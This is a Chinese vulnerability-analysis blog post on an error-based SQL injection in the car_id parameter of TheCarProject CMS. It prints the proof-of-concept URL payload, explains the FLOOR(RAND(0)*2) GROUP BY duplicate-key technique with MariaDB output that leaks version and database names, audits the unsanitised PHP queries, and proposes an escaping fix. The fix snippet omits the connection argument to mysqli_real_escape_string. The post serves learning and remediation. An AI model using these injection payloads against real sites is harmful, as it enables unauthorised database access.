登录

TheCarProject CMS SQl注入

ama666 / 2019-03-29 09:40:00 / 浏览数 4855 安全技术 漏洞分析 顶(0) 踩(0)

前言

前一阵一直在忙着申请研究生，所以审计这一块落下了好多，今天拿出键盘都落灰了。最近在学习的时候遇到了一些瓶颈，无论是wbe挖洞还是审计都感觉自己只是懂得一些

从Poc开始

从舍友推荐的网站上看到了这个CMS的漏洞，主要是其中的SQL注入比较多，首先将所有的Poc放出来一个接一个分析。

```
http://localhost/TheCarProject/cp/info.php?man_id=3&car_id=-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
```

```
http://localhost/TheCarProject/cp/info.php?man_id=3&car_id=-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT
COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,
FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
```

首先分析一下Poc， car_id 提交正常参数 1 之后未使用单/双引号\' \" 进行闭合，所以判断为数字型SQL注入。后面跟随的是SQL查询语句，concat
函数作用是连接括号内所有字符串参数成为一个字符串，第一个参数均使用了ASCII进行转码，第二个参数是一个16进制编码字符，将concat函数中的参数翻译过来的Poc语
：

```
SELECT 1 and (ROW(1,1)>(SELECT COUNT(*), CONCAT(_!@4dilemma,:, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLECTIONS
GROUP BY x)a;
```

可能有些小伙伴跟我一样平时也不太在意SQL注入语句中的具体含义，sqlmap直接跑一下就好，但是秉承着给自己找麻烦的原则，我来分析一下这个语句的含义。首先将目
(>)， ROW函数 函数在MySQL官方文档中给出的定义如下:

[

> Scalar or column subqueries return a single value or a column of values. A *row subquery* is a subquery variant that returns a single row and can thus return more than one column value. Legal operators for row subquery comparisons are:

```
1  = > < >= <= <> != <=>
```

翻译过来的意思为：标量或列子查询返回一个值或一列值。
行子查询是返回单行的子查询变体，因此可以返回多个列值。听起来是不是十分拗口难懂。其实Poc中的ROW(1,1)包含两部分，一部分是ROW函数本身，另一部分是被称作

```
1  SELECT * FROM t1 WHERE (column1,column2) = (1,1);
2  SELECT * FROM t1 WHERE column1 = 1 AND column2 = 1;
```

第一个和第二个表达式的意义是相等的。那么再回头看一看整体的 ROW(1,1)>
便能理解其中的含义，即第一个查询结果的第一列要大于第二个查询结果的第一列。如果成功就返回结果，不成功返回空值。至于为什么不是 ROW(1) 而是
ROW(1,1) 同样的MySQL官方文档也给了我们解释:

> A row constructor is used for comparisons with subqueries that return two or more columns. When a subquery returns a single column, this is regarded as a scalar value and not as a row, so a row constructor cannot be used with a subquery that does not return at least two columns. Thus, the following query fails with a syntax error:

```
1  SELECT * FROM t1 WHERE ROW(1) = (SELECT column1 FROM t2)
```

理解了其中的细节之后我们在从总体上看这一句Poc，很明显是一个报错型SQL注入，报错原因是因为临时表中的主键值重复，造成重复的原因是Poc语句中的
FLOOR(RAND(0)*2) 产生规律的 011011011..... 序列导致分组统计 count(*)...group by 时临时表中的主键值重复抛出错误信息。实现起来是这样的：

首先使用 floor(rand(0)*2) 生成011序列作为临时表中的键值：

```
MariaDB [(none)]> select floor(rand(0)*2) from test.ama;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
7 rows in set (0.000 sec)
```

接着使用分组统计触发临时表主键值重复问题爆出错误：

```
MariaDB [(none)]> select count(*),concat(version(),0x26,floor(rand(0)*2))x from test.ama group by x;
ERROR 1062 (23000): Duplicate entry '10.3.12-MariaDB-2&1' for key 'group_key'
MariaDB [(none)]>
```

可以看到上图中已经爆出错误信息，其中包含我们希望查询到的数据库版本 10.3.12-MariaDB-2 .

```
MariaDB [mysql]> select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
ERROR 1062 (23000): Duplicate entry 'mysql&1' for key 'group_key'
MariaDB [mysql]>
```

爆数据库

分析完了Poc中的各个部分之后让我们总体看一下：

```
1  SELECT 1 and ROW(1,1)>
2  -- 将查询结果使用行构造函数作比较，为真时返回子查询结果
3  (SELECT COUNT(*),CONCAT(_!@4dilemma,0x3a,FLOOR(RAND(0)*2))
4  -- 产生011序列作为临时表键值，使用concat函数连接字符串
5  x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a
6  -- 结合第三行中的count()函数使用group by函数排序，触发临时表主键值重复错误
```

代码审计

从Poc可以看出存在SQL注入的文件是 cp/info.php

```
7  session_start();
8    require('includes/application.php');
9    if(isset($_GET['car_id'])) {
10   $motor_id = $_GET['car_id'];
11   if (!empty($_GET['man_id'])){
12   $manufacturer_id = $_GET['man_id'];
13   }
```

代码 第9行 中出现了car_id 参数，是由用户以 get 方式从url提交的变量，直接赋值给 motor_id 参数，跟进一下

```
187 <?php
188                   $cpr_image = mysqli_query($link,"SELECT STOCK_ID, FILE_NAME FROM motor_images where
                        STOCK_ID =" . $motor_id);
189                   $cpr_count_image = mysqli_num_rows($cpr_image);
190                    $cpr_count_image =1;
191                    while ($images = mysqli_fetch_assoc($cpr_image)) {
192 ?>
```

```php
<?php
                $cpr_image_sql = "SELECT STOCK_ID, FILE_NAME FROM motor_images where
                  STOCK_ID =" . $motor_id;
                $cpr_image = mysqli_query($link,$cpr_image_sql);
            //    By uncommenting the below and the curly brace below, it will stop
            presenting the thumbnails untill there are at least 6 images
            //    if ($cpr_images_rows = mysqli_num_rows($cpr_image) > 5){
                while ($images = mysqli_fetch_array($cpr_image)) { ?>
```

```php
                $cpr_images = mysqli_query($link,"SELECT STOCK_ID, FILE_NAME FROM
                  motor_images where STOCK_ID =" . $motor_id . " LIMIT 1");
                $cpr_image_mail = mysqli_fetch_array($cpr_images);
                $cpr_image_single = $cpr_image_mail['FILE_NAME'];
?>
```

看到文件中包含多个将 motor_id
拼接入内的sql查询语句，均未使用单/双引号包裹，参数也未经过任何过滤函数，因此可以判断存在注入。接下来我们需要寻找SQL注入的回显地点，上面三张图中第191行 第289行 第343行 分别使用变量接受了SQL查询结果 选取最后一个一个为例子，参数 $cpr_image_mail 接受了函数 mysqli_fetch_array 读取的MySQL返回结果，并假设其中存在以 FILE_NAME 为数组键的数组值，将数组值赋给了变量 $cpr_image_single，跟进

```php
            <form class="form-horizontal" role="form" method="post" action="smtp_info.php">
                <input type="hidden" name="item_name" value="<?php echo $cpr_manufacturer['
                  manufacturers_name'] . ' ' .  $cpr_motor_info['motor_model'] ; ?>">
                <input type="hidden" name="link" value="<?php echo "http://" . $_SERVER['
                  SERVER_NAME'] . $_SERVER['REQUEST_URI']; ?>">
                <input type="hidden" name="image" value="<?php echo $company_url .$
                  cpr_image_single;?>">
```

在代码 第350行 中，参数 $cpr_image_single 在hidden型的input输入框中作为输入值在 第347行 提交给了 smtp_info.php ，抓包即可获取发送数据得到SQL注入的信息回显。

修复

SQL注入的修复我认为要从SQL注入的成因开始针对，本漏洞中成因简单的不能再简单，在拼接入SQL语句的时候没有进行单/双/反引号的闭合，对变量也没有进行消毒处理

```
if(isset($_GET['car_id'])) { $motor_id = mysqli_real_escape_string($_GET['car_id']); //$motor_id =
PDO::quote($_GET['car_id']); ..... }
```

mysqli_real_escape_string 函数的作用是过滤字符串参数中的非法字符，MySQL官方文档中给出定义：

> `mysqli_real_escape_string ( mysqli $link , string $escapestr ) : string`
>
> This function is used to create a legal SQL string that you can use in an SQL statement. The given string is encoded to an escaped SQL string, taking into account the current character set of the connection.

同时还要补充两点：一是应避免使用GBK编码数据库，以免造成宽字节注入。二是由于在写入数据库的时候写入的是原始信息，所以在获取数据库查询信息的时候也应该调用

总结

整体看漏洞触发链比较短，产生原因也是最简单的原因，但是作为一个学习过程的开始还算合适。本篇文章主要秉承着将最细节的地方搞清楚的原则写成，现在看来主要在P

上一篇：eval与php一句话的关系 下一篇：TCTF/0CTF两道逆向题详解

1. 0 条回复
   - 动动手指，沙发就是你的了！

目录